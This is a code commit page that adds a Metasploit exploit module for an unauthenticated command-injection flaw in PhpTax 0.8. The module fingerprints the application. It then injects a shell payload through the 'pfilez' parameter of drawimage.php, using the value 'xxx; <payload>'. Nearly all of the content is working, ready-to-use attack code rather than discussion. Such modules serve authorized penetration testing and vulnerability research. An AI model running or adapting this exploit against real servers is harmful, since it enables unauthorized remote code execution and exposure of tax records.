Skip to content

Commit 8ff4442

Browse files
committed
Add PhpTax pfilez exec module
This module exploits a vuln found in PhpTax. When generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter, which will be used in a exec() statement, and results in arbitrary code execution.
1 parent cae9816 commit 8ff4442

File tree

1 file changed

+87
-0
lines changed

1 file changed

+87
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection",
18+
'Description' => %q{
19+
This module exploits a vulnerability found in PhpTax, an income tax report
20+
generator. When generating a PDF, the icondrawpng() function in drawimage.php
21+
does not properly handle the pfilez parameter, which will be used in a exec()
22+
statement, and then results in arbitrary remote code execution under the context
23+
of the web server. Please note: authentication is not required to exploit this
24+
vulnerability.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Jean Pascal Pereira <pereira[at]secbiz.de>',
30+
'sinn3r' #Metasploit
31+
],
32+
'References' =>
33+
[
34+
['EDB', '21665']
35+
],
36+
'Payload' =>
37+
{
38+
'Compat' =>
39+
{
40+
'PayloadType' => 'cmd',
41+
'RequiredCmd' => 'generic perl ruby bash telnet',
42+
}
43+
},
44+
'Platform' => ['unix', 'linux'],
45+
'Targets' =>
46+
[
47+
['PhpTax 0.8', {}]
48+
],
49+
'Arch' => ARCH_CMD,
50+
'Privileged' => false,
51+
'DisclosureDate' => "Oct 8 2012",
52+
'DefaultTarget' => 0))
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI', [true, 'The path to th web application', '/phptax/'])
57+
], self.class)
58+
end
59+
60+
61+
def check
62+
target_uri.path << '/' if target_uri.path[-1,1] != '/'
63+
res = send_request_raw({'uri'=>target_uri.path})
64+
if res and res.body =~ /PHPTAX by William L\. Berggren/
65+
return Exploit::CheckCode::Detected
66+
else
67+
return Exploit::CheckCode::Unknown
68+
end
69+
end
70+
71+
72+
def exploit
73+
target_uri.path << '/' if target_uri.path[-1,1] != '/'
74+
75+
print_status("#{rhost}#{rport} - Sending request...")
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => "#{target_uri.path}drawimage.php",
79+
'vars_get' => {
80+
'pdf' => 'make',
81+
'pfilez' => "xxx; #{payload.encoded}"
82+
}
83+
})
84+
85+
handler
86+
end
87+
end

0 commit comments

Comments
 (0)